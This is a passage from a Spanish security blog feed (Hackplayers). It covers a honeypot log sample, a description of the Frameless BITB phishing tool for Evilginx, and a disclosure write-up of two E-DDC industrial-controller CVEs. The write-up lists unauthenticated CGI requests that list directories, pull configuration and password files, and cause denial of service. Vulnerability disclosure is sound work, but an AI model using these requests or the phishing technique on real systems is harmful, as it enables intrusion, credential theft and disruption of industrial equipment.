BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; margin-bottom: 16px; margin-top: 0px;">😑</p><div class="snippet-clipboard-content notranslate position-relative overflow-auto" style="box-sizing: border-box; color: #1f2328; display: flex; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; justify-content: space-between; margin-bottom: 16px; overflow: auto !important; position: relative !important;"><pre class="notranslate" style="border-radius: 6px; box-sizing: border-box; color: var(--fgColor-default, var(--color-fg-default)); font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; word-break: normal;">% curl http://localhost:8888/i-mean-are-you-a-fake-server`
No, I am not a fake server.
</code></pre><div class="zeroclipboard-container" style="animation: auto ease 0s 1 normal none running none; box-sizing: border-box;"><clipboard-copy aria-label="Copy" class="ClipboardButton btn btn-invisible js-clipboard-copy m-2 p-0 tooltipped-no-delay d-flex flex-justify-center flex-items-center" data-copy-feedback="Copied!" data-tooltip-direction="w" role="button" style="align-items: center !important; appearance: none; border-radius: 6px; border: 0px; box-shadow: none; box-sizing: border-box; color: var(--fgColor-accent, var(--color-accent-fg)); cursor: pointer; display: flex !important; font-size: 14px; font-weight: var(--base-text-weight-medium, 500); height: var(--control-small-size, 28px); justify-content: center !important; line-height: 20px; margin: var(--base-size-8, 8px) !important; padding: 0px !important; position: relative; text-wrap: nowrap; transition: color 80ms cubic-bezier(0.33, 1, 0.68, 1) 0s, background-color 0s ease 0s, box-shadow 0s ease 0s, border-color 0s ease 0s; user-select: none; vertical-align: middle; width: var(--control-small-size, 28px);" tabindex="0" value="% curl http://localhost:8888/i-mean-are-you-a-fake-server`
No, I am not a fake server."><svg aria-hidden="true" class="octicon octicon-copy js-clipboard-copy-icon" data-view-component="true" height="16" version="1.1" viewbox="0 0 16 16" width="16"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></clipboard-copy></div></div><p dir="auto" style="background-color: white; box-sizing: border-box; color: #1f2328; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; margin-bottom: 16px; margin-top: 0px;">JSON log record:</p><div class="snippet-clipboard-content notranslate position-relative overflow-auto" style="box-sizing: border-box; color: #1f2328; display: flex; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; justify-content: space-between; margin-bottom: 16px; overflow: auto !important; position: relative !important;"><pre class="notranslate" style="border-radius: 6px; box-sizing: border-box; color: var(--fgColor-default, var(--color-fg-default)); font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 16px;"><code style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 6px; border: 0px; box-sizing: border-box; display: inline; font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow: visible; padding: 0px; word-break: normal;">{"timestamp":"2024-01-01T05:51:40.812831","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"62205","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/i-mean-are-you-a-fake-server","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Type":"text/plain","Server":"LocalHost/1.0"},"body":"No, I am not a fake server."}}
</code></pre><div class="zeroclipboard-container" style="animation: auto ease 0s 1 normal none running none; box-sizing: border-box;"><clipboard-copy aria-label="Copy" class="ClipboardButton btn btn-invisible js-clipboard-copy m-2 p-0 tooltipped-no-delay d-flex flex-justify-center flex-items-center" data-copy-feedback="Copied!" data-tooltip-direction="w" role="button" style="align-items: center !important; appearance: none; border-radius: 6px; border: 0px; box-shadow: none; box-sizing: border-box; color: var(--fgColor-accent, var(--color-accent-fg)); cursor: pointer; display: flex !important; font-size: 14px; font-weight: var(--base-text-weight-medium, 500); height: var(--control-small-size, 28px); justify-content: center !important; line-height: 20px; margin: var(--base-size-8, 8px) !important; padding: 0px !important; position: relative; text-wrap: nowrap; transition: color 80ms cubic-bezier(0.33, 1, 0.68, 1) 0s, background-color 0s ease 0s, box-shadow 0s ease 0s, border-color 0s ease 0s; user-select: none; vertical-align: middle; width: var(--control-small-size, 28px);" tabindex="0" value="{"timestamp":"2024-01-01T05:51:40.812831","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"62205","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/i-mean-are-you-a-fake-server","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Type":"text/plain","Server":"LocalHost/1.0"},"body":"No, I am not a fake server."}}"><svg aria-hidden="true" class="octicon octicon-copy js-clipboard-copy-icon" data-view-component="true" height="16" version="1.1" viewbox="0 0 16 16" width="16"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg></clipboard-copy></div></div><p dir="auto" style="background-color: white; box-sizing: border-box; color: #1f2328; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; font-size: 16px; margin-bottom: 0px !important; margin-top: 0px;"><b>Proyecto</b>: <a href="https://github.com/0x4D31/galah">https://github.com/0x4D31/galah</a></p></div><p></p>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-85483749981776437022024-02-02T00:49:00.003+01:002024-02-02T00:52:00.620+01:00Frameless BITB: Browser-In-The-Browser sin iframes<div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdeZ4HhCex5UCJYeIbroBTL3S8DHye96RkAWGAenh2ldKhjFa2EMMEWGo4peilwxaHYiiBjtRhoO_TU00NX9GioeK_Z0oJi_s8XLC8Kjab-H_pSC9RgbnSKW3D-fBc9tw8nLHfU8u9gLst80gqIgPuCMp2yg1Oi87QC7z3WlJ34dn3TyThSFGG7ZKea4Is/s2304/Malware%20attack.jpg" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="2304" data-original-width="1664" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdeZ4HhCex5UCJYeIbroBTL3S8DHye96RkAWGAenh2ldKhjFa2EMMEWGo4peilwxaHYiiBjtRhoO_TU00NX9GioeK_Z0oJi_s8XLC8Kjab-H_pSC9RgbnSKW3D-fBc9tw8nLHfU8u9gLst80gqIgPuCMp2yg1Oi87QC7z3WlJ34dn3TyThSFGG7ZKea4Is/w289-h400/Malware%20attack.jpg" width="289" /></a></div>Browser In The Browser (BITB) introducido originalmente por @mrd0x, es un concepto que crea la apariencia de una ventana de navegador creíble dentro de la cual el atacante controla el contenido (sirviendo el sitio web malicioso dentro de un iframe). Sin embargo, la barra de URL de la ventana del navegador falso está configurada en el sitio legítimo que el usuario esperaría. Esto, combinado con una herramienta como Evilginx, se convierte en la receta perfecta para un ataque de phishing creíble.</div><div><br /></div><div>El problema es que en los últimos meses/años, los principales sitios web como Microsoft implementaron varios pequeños trucos llamados "framebusters/framekillers" que principalmente intentan romper los iframes que podrían usarse para servir al sitio web proxy, como en el caso de Evilginx.</div><div><br /></div><div>En resumen, Evilginx + BITB para sitios web como Microsoft ya no funciona. Al menos no con un BITB que se basa en iframes.</div><div><br /></div><div>Aquí es donde viene la herramienta de Wael Al Masri: Frameless BITB y es simplemente eso, un BITB sin usar iframes, es decir, que podremos usar BITB con Evilginx en sitios web como Microsoft. </div><div><br /></div><div>Esto lo logra inyectando scripts y HTML además del contenido original mediante búsqueda y reemplazo (también conocido como sustituciones), y luego confiando completamente en trucos de HTML/CSS/JS para crear el efecto visual. También utiliza un truco adicional llamado "Shadow DOM" en HTML para colocar el contenido de la página de destino (fondo) de tal manera que no interfiera con el contenido proxy, lo que nos permite usar de manera flexible cualquier landing page con pocos JS adicionales.</div><div><br /></div><div style="text-align: center;">
<b><iframe allowfullscreen="" class="YOUTUBE-iframe-video" frameborder="0" height="345" src="https://www.youtube.com/embed/luJjxpEwVHI" width="560"></iframe></b></div>
<div style="text-align: center;">
<b><span style="font-size: xx-small;"><i>Url del video</i>: <a href="https://www.youtube.com/watch?v=luJjxpEwVHI">https://youtu.be/luJjxpEwVHI</a></span></b></div><div><br /></div>Instrucciones de instalación y más en la web del proyecto <a href="https://github.com/waelmas/frameless-bitb">https://github.com/waelmas/frameless-bitb</a>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com1tag:blogger.com,1999:blog-9133539773684103848.post-83987626165343884582024-01-30T00:01:00.001+01:002024-01-30T00:06:52.037+01:00CVE-2024-1014 and CVE-2024-1015 Vulnerabilities affecting E-DDC Devices from se-elektronic (PoC)<p style="text-align: left;">While researching ICS devices, I found two vulnerabilities in the E-DDC Device from SE-elektronic regarding the Automation Station E-DDC from the company SE-elektronic. Affected versions are from the E-DDC3.3 onwards.</p><p>This Industrial Control System (ICS) is a DDC that is a very similar system to a Programmable Logic Controller (PLC), but with certain differences: it is essentially a more basic PLC, but in this case the DDC displays a web server with multiple options, whereas previously one had to be authenticated with a username and password.</p><p>More information about the device can be found at the following link:</p><p><a href="https://www.se-elektronic.de/downloads/products/G_02_90_75_E-DDC3-3_Produktblatt_EN.pdf" target="_blank">https://www.se-elektronic.de/downloads/products/G_02_90_75_E-DDC3-3_Produktblatt_EN.pdf</a></p><p>This device, as I mentioned before, displays a web server in any configurable port. It can be identified easily because it usually goes together with the open modbus port 502, and thus the banner is displayed with the name of the device and the version.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQS5tM7FbnI8YuNW5GNo5NiUpzgcxSDMPbF3D83GazF_l_rciqubgUF_Diik6NNQLZy1CLglLWBEzTHOqy61OSVtq0pXIcAmnqkLx6rzstoqdjGVhTihRU338y6Hw5rSo9KvM32Mwk2saxeKFfPER2IstqonJfpLgpn_723bKktV66WLUop9DvWsLk2qc/s726/E-DDC01.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="535" data-original-width="726" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQS5tM7FbnI8YuNW5GNo5NiUpzgcxSDMPbF3D83GazF_l_rciqubgUF_Diik6NNQLZy1CLglLWBEzTHOqy61OSVtq0pXIcAmnqkLx6rzstoqdjGVhTihRU338y6Hw5rSo9KvM32Mwk2saxeKFfPER2IstqonJfpLgpn_723bKktV66WLUop9DvWsLk2qc/s16000/E-DDC01.png" /></a></div><p>Once we have connected to the web portal of the device, it is possible to observe the banner that has multiple options, and then we choose to go to the administration panel (webconfiguration):</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipeAtlKPQuTmCAKHxzRVRdPfWSw197xVBhOs1-WZoM7As8m6-iqLdZZBw-StWKm6BHyo7N7t2ZNRlCmjXWWxGpvcwFWurmgvUh92A-Sn8VTfKlbAPKpkkc69AGCHjFMTOaziX3nycYJqpm5T-SweMdS-1l9dtYPaeWoZgZ1HgMIRpo4ArCz-GHkZNesIw/s1479/E-DDC02.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="773" data-original-width="1479" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipeAtlKPQuTmCAKHxzRVRdPfWSw197xVBhOs1-WZoM7As8m6-iqLdZZBw-StWKm6BHyo7N7t2ZNRlCmjXWWxGpvcwFWurmgvUh92A-Sn8VTfKlbAPKpkkc69AGCHjFMTOaziX3nycYJqpm5T-SweMdS-1l9dtYPaeWoZgZ1HgMIRpo4ArCz-GHkZNesIw/s16000/E-DDC02.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicJfOwBLvvKNW4IaYuZq73iogSnG7O1qpNpCIVpEQLEwhAwWYHNXV3YuwgIWTXUBt1B6eSGb4iQEOH-Qwoj-BQmSULOuSfdUGl9oCCX0aOfniottBQpaO__U8nWSYn6QKKL0vm4-MPzAfDrb7hvlxalFl64IZwwRStzyHR34VKldkPpZwcX2gTO0FYa-A/s1515/E-DDC03.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="645" data-original-width="1515" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicJfOwBLvvKNW4IaYuZq73iogSnG7O1qpNpCIVpEQLEwhAwWYHNXV3YuwgIWTXUBt1B6eSGb4iQEOH-Qwoj-BQmSULOuSfdUGl9oCCX0aOfniottBQpaO__U8nWSYn6QKKL0vm4-MPzAfDrb7hvlxalFl64IZwwRStzyHR34VKldkPpZwcX2gTO0FYa-A/s16000/E-DDC03.png" /></a></div><p>Take a look to the version in the above image: Model E-DDC 3.3 Microprogramme version V03.07.13</p><p>Note: If someone clicks the login (connection) button, then the session is automatically initialized by default as the guest user. However, everything explained below was done without having to be an authenticated user. </p><p><b><u>CVE-2024-1015</u></b></p><p>Through the usage of Burp, we discovered that<b> we can execute multiple web requests through the CGI protocol that aren't properly handled by the device</b>. Please refer to the list below where you can see all examples of this exploitation:</p><p><b>Root System Directory List:</b></p><p>GET /CGI-BIN/SYSTEM.CGI?<b>get=LS&path=/</b></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKxB8xKolWCpJmJC9M6n1Edvutz0WY8vDw4FsN9TIRzpccc-ZZiw55A9Lsq8aAYUy72OkXOth-pCvBWkhMxUgI7ooqGinO61xEXjxDbbPS_arsDtJ-RfEG-XnC4QVeXhY9sYXLiGC-dWbgbTnUWOtkAug658SfBSTu-NRibVu0a9Y7sjCkAtFN6SZjDj8/s994/E-DDC04.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="994" data-original-width="752" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKxB8xKolWCpJmJC9M6n1Edvutz0WY8vDw4FsN9TIRzpccc-ZZiw55Ahttps://www.hackplayers.com/2024/01/cve-2024-1014-and-cve-2024-1015.html9Lsq8aAYUy72OkXOth-pCvBWkhMxUgI7ooqGinO61xEXjxDbbPS_arsDtJ-RfEG-XnC4QVeXhY9sYXLiGC-dWbgbTnUWOtkAug658SfBSTu-NRibVu0a9Y7sjCkAtFN6SZjDj8/s16000/E-DDC04.png" /></a></div><p><b>Get Configurations:</b></p><p>GET /CGI-BIN/CONFIG.CGI?cmd=GetConfig&Module=<b>bacnet</b></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqPiHJwT61GzelEttGPu5WMfg9DcY9y8ZwyNFUDhQ0vPtf3dut3hNuxrLnfVxhYdmQLbdWmq9QbsCmGTHlj7fJhN09Tk3kHwXvQZ6OjFuGTtdeXNMItLnb6ZyabUeX4UaF4rYqXkIlKlO1_zxEz0uxY6xoAlDmhk2JCVPJu0XliapMEOrfIZl8lGP_3Q8/s1489/E-DDC05.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="507" data-original-width="1489" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqPiHJwT61GzelEttGPu5WMfg9DcY9y8ZwyNFUDhQ0vPtf3dut3hNuxrLnfVxhYdmQLbdWmq9QbsCmGTHlj7fJhN09Tk3kHwXvQZ6OjFuGTtdeXNMItLnb6ZyabUeX4UaF4rYqXkIlKlO1_zxEz0uxY6xoAlDmhk2JCVPJu0XliapMEOrfIZl8lGP_3Q8/s16000/E-DDC05.png" /></a></div><br /><p>Instead, if one changes the value of the "<b>module</b>" variable from "<b>bacnet</b>" to another value, e.g. "<b>modbus</b>", then it is possible to see different configuration (and passwords) files:</p><p>GET /CGI-BIN/CONFIG.CGI?cmd=GetConfig&Module=<b>modbus</b></p><a name='more'></a><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoQ39mK8WsDNiml6gQyXJC_-oE_sYk158qR1g8qgFENlhdLGZKXw2rELi96sX5vSNVA5TAnOf2l02TVFkONfc_zrPObDkl75g-i51fZGCd6mGHNkyLC4PtiU3JDzBPI-8CQx49lnHomWeUIVi07cnNlPJivpxZINTL1mEZ-lKMebtw4YrRGrazhAUfkCk/s1498/E-DDC06.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="493" data-original-width="1498" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoQ39mK8WsDNiml6gQyXJC_-oE_sYk158qR1g8qgFENlhdLGZKXw2rELi96sX5vSNVA5TAnOf2l02TVFkONfc_zrPObDkl75g-i51fZGCd6mGHNkyLC4PtiU3JDzBPI-8CQx49lnHomWeUIVi07cnNlPJivpxZINTL1mEZ-lKMebtw4YrRGrazhAUfkCk/s16000/E-DDC06.png" /></a></div><p><b>The Ping Command</b></p><p>GET /CGI-BIN/SYSTEM.CGI?get=ping&ip=8.8.8.8&anzahl=4</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCr_VxV0eE7I2p5svms_WlaI2xGibQQAXOBCPgKtE_r_iIWqmsfPdFgmGcCppki2CgUkg7iWcKL4n_rs_QWjF5rJ4skJy-3aKWSXONc789DxzYlMy-Gd0D5PNsH5jS6XrNblD56KrieMLAe1_jnQMcgAg7TLSZVaOQArfA3BWt9-3SZ2V2nQvntXUEKwo/s1487/E-DDC07.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="383" data-original-width="1487" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCr_VxV0eE7I2p5svms_WlaI2xGibQQAXOBCPgKtE_r_iIWqmsfPdFgmGcCppki2CgUkg7iWcKL4n_rs_QWjF5rJ4skJy-3aKWSXONc789DxzYlMy-Gd0D5PNsH5jS6XrNblD56KrieMLAe1_jnQMcgAg7TLSZVaOQArfA3BWt9-3SZ2V2nQvntXUEKwo/s16000/E-DDC07.png" /></a></div><p>If one modifies the parameter of “<b>anzahl</b>” to a high number like 50, such as in the last image, then the device will ping this number of times.</p><p><b>Download the file of logs from the device:</b></p><p>GET /CGI-BIN/DOWNLOAD.CGI?/VAR/LOG/SYSLOG.TXT&1402</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8ff5UgMbIievi8PL7WqxcJj0IvVJFet3bm2K4r94kEXrBOCJYToHNP-05Z_Hcokcte_NviLvT-aoOJgBqTbiATk72K4El1Yf_er0SAHK3Z3ySmV8nLcUj2RXCZ_zi5Dgsop-Hu18TFpMllWHEwTNp2vSTOkAGXaI_6EGSTjQicR3WZPXV2PnDo635JkA/s1045/E-DDC08.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="961" data-original-width="1045" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8ff5UgMbIievi8PL7WqxcJj0IvVJFet3bm2K4r94kEXrBOCJYToHNP-05Z_Hcokcte_NviLvT-aoOJgBqTbiATk72K4El1Yf_er0SAHK3Z3ySmV8nLcUj2RXCZ_zi5Dgsop-Hu18TFpMllWHEwTNp2vSTOkAGXaI_6EGSTjQicR3WZPXV2PnDo635JkA/s16000/E-DDC08.png" /></a></div><p>In the above image, it is possible to observe the IP of an internal device, as well as download other files. However, most of these are empty, and this is a more interesting file (Syslog.txt).</p><p><b><u>CVE-2024-1014</u></b></p><p>Returning to the point of using a ping command, if one changes the value that is assigned to the "<b>anzahl</b>" parameter to a high number, then one can execute a <b>Denial-of-Service attack</b> on this device. It will be demonstrated below how this is accomplished:</p><p>In this case, we modify the "anzahl" parameter to the number 50, and one can see how the application seems not to work.</p><p>GET /CGI-BIN/SYSTEM.CGI?get=ping&ip=127.0.0.1&anzahl=50</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAoRwyg138uKAlyeJb05V7Jc9FJhgDi5q1MRe5mtoWPH4-aA6tmFhY8ye442oKcafkMw4-hwPKoM7YXtWCgeN0jb29I4dxe44gzqIT2J3tRAZFxnf_h22Ci04iZfYaVsUJNSWv3GnW6LpyFmS5yN9-HR21mThF5z-f2IuFO2W4Wyu8CnThgUwa0umxp-A/s1043/E-DDC09.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="194" data-original-width="1043" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAoRwyg138uKAlyeJb05V7Jc9FJhgDi5q1MRe5mtoWPH4-aA6tmFhY8ye442oKcafkMw4-hwPKoM7YXtWCgeN0jb29I4dxe44gzqIT2J3tRAZFxnf_h22Ci04iZfYaVsUJNSWv3GnW6LpyFmS5yN9-HR21mThF5z-f2IuFO2W4Wyu8CnThgUwa0umxp-A/s16000/E-DDC09.png" /></a></div><p>To test this, I created a small script command with "curl" that allows one to check the time that an application takes to respond:</p><p>Code:</p><p><span style="font-family: courier;">curl -s -w '\nTiempo de respuesta para: %{url_effective}\n\nLookup time:\t\t%{time_namelookup}\nConnect Time:\t\t%{time_connect}\nPre-transfer Time:\t%{time_pretransfer}\nStart-transfer Time:\%{time_starttransfer}\nTotal Time:\t\t%{time_total}\n' -o /dev/null <IP></span></p><p>For a normal request, the time is 0.089 seconds:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDTSYj5yjakoN1ZsGL2Z3fI5irXrMU1nMiBs6w02ByA3sakaZwy0wsUk1ROZl4x4WYushkkg-Ecbrwc_B-dHozu_aEqePdawDy0apYBbmqoN3ZtNOF7tkJhggXAqqK3GUC4dmc2vjptACUor39_dwZNemavTIIRJt4ZtuRTuhnOduAX_kahHmCTPuhi2w/s1193/E-DDC10.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="184" data-original-width="1193" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDTSYj5yjakoN1ZsGL2Z3fI5irXrMU1nMiBs6w02ByA3sakaZwy0wsUk1ROZl4x4WYushkkg-Ecbrwc_B-dHozu_aEqePdawDy0apYBbmqoN3ZtNOF7tkJhggXAqqK3GUC4dmc2vjptACUor39_dwZNemavTIIRJt4ZtuRTuhnOduAX_kahHmCTPuhi2w/s16000/E-DDC10.png" /></a></div><p>If the variable is "anzahl=50", the following occurs:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5Ruksz8ZfHDM9UBDi75wWJ2XkCL9sugAKDZcMjJA-D7_KCy9JFgVMkR-C_Jhd9VGaSfD8lz-kBAeR1J4RfSY89exgG5jokmXJDIAmalP4PLD2YLDsp3Or4dJN8YakyPWRIdYZtTDcLbbEV9S1GXJ0tdelG3GjwIP7LhHThg_A54tn2H555R9GBofFn_s/s1199/E-DDC11.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="187" data-original-width="1199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5Ruksz8ZfHDM9UBDi75wWJ2XkCL9sugAKDZcMjJA-D7_KCy9JFgVMkR-C_Jhd9VGaSfD8lz-kBAeR1J4RfSY89exgG5jokmXJDIAmalP4PLD2YLDsp3Or4dJN8YakyPWRIdYZtTDcLbbEV9S1GXJ0tdelG3GjwIP7LhHThg_A54tn2H555R9GBofFn_s/s16000/E-DDC11.png" /></a></div><p>However, if we increase this number to 100, then one can see the following:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLfI7ANaixlZXfmyGm4xUlaLIYEWMruv8hyphenhyphenS05GVyuJypgMwI08KqPNF1jxam7PoDh6C5GL4JzPNmcuoZvZT2wAK6l5W9-SyZ0YLHXtfFdBeUJLndeTk_V2D3hr4vDwtzh5q9kR9K5jYLSB_UqRPN4ZVrcT_m6hyphenhyphenUDnMO28jtaXaPJvKoOYYhrqGx2BwQ/s1182/E-DDC12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="194" data-original-width="1182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLfI7ANaixlZXfmyGm4xUlaLIYEWMruv8hyphenhyphenS05GVyuJypgMwI08KqPNF1jxam7PoDh6C5GL4JzPNmcuoZvZT2wAK6l5W9-SyZ0YLHXtfFdBeUJLndeTk_V2D3hr4vDwtzh5q9kR9K5jYLSB_UqRPN4ZVrcT_m6hyphenhyphenUDnMO28jtaXaPJvKoOYYhrqGx2BwQ/s16000/E-DDC12.png" /></a></div><p>In the previous image, it is possible to notice that the time it takes to respond is 197,914 seconds. If we change the value that is assigned to the "anzahl" parameter to a very high number like 1000 or more, it is possible to leave the device engaged, and during this time, the device will not be possible to manage.</p><p><b>Refs.</b></p><p>INCIBE: </p><p></p><ul><li><a href="https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-se-elektronic-gmbh-products">https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-se-elektronic-gmbh-products</a></li></ul><p></p><p>MITRE: </p><p></p><p></p><p></p><p></p><ul style="text-align: left;"><li>CVE-2024-1014 :<span> </span><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1014">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1014</a></li><li>CVE-2024-1015 :<span> </span><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1015">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1015</a></li></ul><p>I hope that you have enjoyed this post, and that it will awaken in you the desire to investigate these types of devices as it has done for me.</p><p>Happy hacking!</p><div><div class="post-body entry-content float-container" id="post-body-4876366856914297471" style="background-color: white; font-family: Lato; font-feature-settings: normal; font-kerning: auto; font-optical-sizing: auto; font-size: 16px; font-stretch: normal; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-variant-position: normal; font-variation-settings: normal; line-height: 32px; margin: 0px;"><p style="text-align: right;"><i>Contribución gracias a Carlos Antonini</i></p><div><div></div></div></div><div class="post-footer container" style="background-color: white; font-family: Lato, sans-serif; font-size: 16px;"></div></div>contribucioneshttp://www.blogger.com/profile/17971452108710632266noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-32990977138010916012024-01-19T21:01:00.000+01:002024-01-19T21:01:38.694+01:00Call For Training: Hackplayers AcademyLa Asociación Hackplayers lanza un Call For Training para recibir propuestas sobre diversas formaciones de diferentes temáticas de hacking e in-seguridad 